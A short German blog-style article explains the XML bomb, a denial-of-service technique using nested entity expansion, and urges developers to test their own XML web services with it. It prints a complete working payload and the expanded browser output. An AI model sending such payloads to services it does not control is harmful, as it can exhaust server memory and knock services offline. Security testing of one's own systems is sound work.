Immer mehr Internetseiten arbeiten heutzutage mit asynchronen Aufrufen, die an diverse Webservices angebunden sind. Dabei wird oft auf XML als Austauchformat zurückzugriffen. Sollte Ihre Webschnittstelle XML erwarten, ist es empfehlenswert, diesen mit einer XML Bombe auf DOS-Attacken-Sicherheit zu testen.
Das Prinzip einer solchen Bombe ist so einfach, wie auch effektiv. Man deklariert eine Entität mit einem String als Inhalt. Dann erstellt man eine weitere Entität, die auf die vorherige mehrfach referenziert. Wiederholt man diesen Vorgang, potenziert sich das Vorkommen. Zu guter Letzt verweist man im XML auf die letzte Entität und bekommt eine Ausgabe, die gigantisch groß werden kann.
Das folgende Beispiel zeigt eine XML Bombe:
< ?xml version="1.0" encoding="utf-8"?> < !DOCTYPE foobar [ <!ENTITY x0 "Ich komme wieder! "> < !ENTITY x1 "&x0;&x0;&x0;&x0;&x0;&x0;"> < !ENTITY x2 "&x1;&x1;&x1;&x1;&x1;&x1;"> < !ENTITY x3 "&x2;&x2;&x2;&x2;&x2;&x2;"> < !ENTITY x4 "&x3;&x3;&x3;&x3;&x3;&x3;"> < !ENTITY x5 "&x4;&x4;&x4;&x4;&x4;&x4;"> < !ENTITY x6 "&x5;&x5;&x5;&x5;&x5;&x5;"> ]> <foobar>&x6;</foobar>
Ruft man diese XML zum Beispiel im Internet Explorer auf, bekommt man folgende Ausgabe (gekürzt):
< ?xml version="1.0" encoding="utf-8" ?> < !DOCTYPE foobar (View Source for full doctype...)> <foobar> Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! Ich komme wieder! ... </foobar>
Testen Sie doch einfach selbst Ihre Services auf ihre Sicherheit: